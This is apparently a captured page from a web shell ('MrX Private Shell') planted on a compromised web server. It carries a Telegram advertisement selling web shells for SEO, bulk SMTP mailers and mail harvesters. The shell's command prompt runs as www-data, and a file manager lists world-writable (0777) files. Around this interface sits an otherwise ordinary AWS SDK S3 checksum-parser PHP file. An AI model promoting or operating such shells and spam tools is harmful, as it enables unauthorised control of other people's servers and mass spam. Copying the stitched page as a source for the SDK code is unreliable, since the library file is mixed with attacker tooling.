__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
<?php
namespace Aws\S3;

use Aws\Api\Parser\AbstractParser;
use Aws\Api\Service;
use Aws\Api\StructureShape;
use Aws\CommandInterface;
use Aws\S3\Exception\S3Exception;
use Psr\Http\Message\ResponseInterface;
use Psr\Http\Message\StreamInterface;

/**
 * @internal Decorates a parser for the S3 service to validate the response checksum.
 */
class ValidateResponseChecksumParser extends AbstractParser
{
    use CalculatesChecksumTrait;
    /**
     * @param callable $parser Parser to wrap.
     */
    public function __construct(callable $parser, Service $api)
    {
        $this->api = $api;
        $this->parser = $parser;
    }

    public function __invoke(
        CommandInterface $command,
        ResponseInterface $response
    ) {
        $fn = $this->parser;
        $result = $fn($command, $response);

        //Skip this middleware if the operation doesn't have an httpChecksum
        $op = $this->api->getOperation($command->getName());
        $checksumInfo = isset($op['httpChecksum'])
            ? $op['httpChecksum']
            : [];
        if (empty($checksumInfo)) {
            return $result;
        }

        //Skip this middleware if the operation doesn't send back a checksum, or the user doesn't opt in
        $checksumModeEnabledMember = isset($checksumInfo['requestValidationModeMember'])
            ? $checksumInfo['requestValidationModeMember']
            : "";
        $checksumModeEnabled = isset($command[$checksumModeEnabledMember])
            ? $command[$checksumModeEnabledMember]
            : "";
        $responseAlgorithms = isset($checksumInfo['responseAlgorithms'])
            ? $checksumInfo['responseAlgorithms']
            : [];
        if (empty($responseAlgorithms)
            || strtolower($checksumModeEnabled) !== "enabled"
        ) {
            return $result;
        }

        if (extension_loaded('awscrt')) {
            $checksumPriority = ['CRC32C', 'CRC32', 'SHA1', 'SHA256'];
        } else {
            $checksumPriority = ['CRC32', 'SHA1', 'SHA256'];
        }
        $checksumsToCheck = array_intersect($responseAlgorithms, $checksumPriority);
        $checksumValidationInfo = $this->validateChecksum($checksumsToCheck, $response);

        if ($checksumValidationInfo['status'] == "SUCCEEDED") {
            $result['ChecksumValidated'] = $checksumValidationInfo['checksum'];
        } else if ($checksumValidationInfo['status'] == "FAILED"){
            //Ignore failed validations on GetObject if it's a multipart get which returned a full multipart object
            if ($command->getName() == "GetObject"
                && !empty($checksumValidationInfo['checksumHeaderValue'])
            ) {
                $headerValue = $checksumValidationInfo['checksumHeaderValue'];
                $lastDashPos = strrpos($headerValue, '-');
                $endOfChecksum = substr($headerValue, $lastDashPos + 1);
                if (is_numeric($endOfChecksum)
                    && intval($endOfChecksum) > 1
                    && intval($endOfChecksum) < 10000) {
                    return $result;
                }
            }
            throw new S3Exception(
                "Calculated response checksum did not match the expected value",
                $command
            );
        }
        return $result;
    }

    public function parseMemberFromStream(
        StreamInterface $stream,
        StructureShape $member,
        $response
    ) {
        return $this->parser->parseMemberFromStream($stream, $member, $response);
    }

    /**
     * @param $checksumPriority
     * @param ResponseInterface $response
     */
    public function validateChecksum($checksumPriority, ResponseInterface $response)
    {
        $checksumToValidate = $this->chooseChecksumHeaderToValidate(
            $checksumPriority,
            $response
        );
        $validationStatus = "SKIPPED";
        $checksumHeaderValue = null;
        if (!empty($checksumToValidate)) {
            $checksumHeaderValue = $response->getHeader(
                'x-amz-checksum-' . $checksumToValidate
            );
            if (isset($checksumHeaderValue)) {
                $checksumHeaderValue = $checksumHeaderValue[0];
                $calculatedChecksumValue = $this->getEncodedValue(
                    $checksumToValidate,
                    $response->getBody()
                );
                $validationStatus = $checksumHeaderValue == $calculatedChecksumValue
                    ? "SUCCEEDED"
                    : "FAILED";
            }
        }
        return [
            "status" => $validationStatus,
            "checksum" => $checksumToValidate,
            "checksumHeaderValue" => $checksumHeaderValue,
        ];
    }

    /**
     * @param $checksumPriority
     * @param ResponseInterface $response
     */
    public function chooseChecksumHeaderToValidate(
        $checksumPriority,
        ResponseInterface $response
    ) {
        foreach ($checksumPriority as $checksum) {
            $checksumHeader = 'x-amz-checksum-' . $checksum;
            if ($response->hasHeader($checksumHeader)) {
                return $checksum;
            }
        }
        return null;
    }
}

Filemanager

Name Type Size Permission Actions
Crypto Folder 0777
Exception Folder 0777
RegionalEndpoint Folder 0777
UseArnRegion Folder 0777
AmbiguousSuccessParser.php File 2.23 KB 0777
ApplyChecksumMiddleware.php File 4.83 KB 0777
BatchDelete.php File 7.49 KB 0777
BucketEndpointArnMiddleware.php File 13.69 KB 0777
BucketEndpointMiddleware.php File 3.32 KB 0777
CalculatesChecksumTrait.php File 1.8 KB 0777
EndpointRegionHelperTrait.php File 3.15 KB 0777
GetBucketLocationParser.php File 1.29 KB 0777
MultipartCopy.php File 8.83 KB 0777
MultipartUploader.php File 6.13 KB 0777
MultipartUploadingTrait.php File 4.11 KB 0777
ObjectCopier.php File 5.82 KB 0777
ObjectUploader.php File 5.37 KB 0777
PermanentRedirectMiddleware.php File 1.7 KB 0777
PostObject.php File 3.83 KB 0777
PostObjectV4.php File 5.3 KB 0777
PutObjectUrlMiddleware.php File 1.55 KB 0777
RetryableMalformedResponseParser.php File 1.42 KB 0777
S3Client.php File 51.1 KB 0777
S3ClientInterface.php File 14.11 KB 0777
S3ClientTrait.php File 10.17 KB 0777
S3EndpointMiddleware.php File 11.05 KB 0777
S3MultiRegionClient.php File 19.6 KB 0777
S3UriParser.php File 4.91 KB 0777
SSECMiddleware.php File 2.24 KB 0777
StreamWrapper.php File 30.7 KB 0777
Transfer.php File 15.15 KB 0777
ValidateResponseChecksumParser.php File 5.09 KB 0777
Filemanager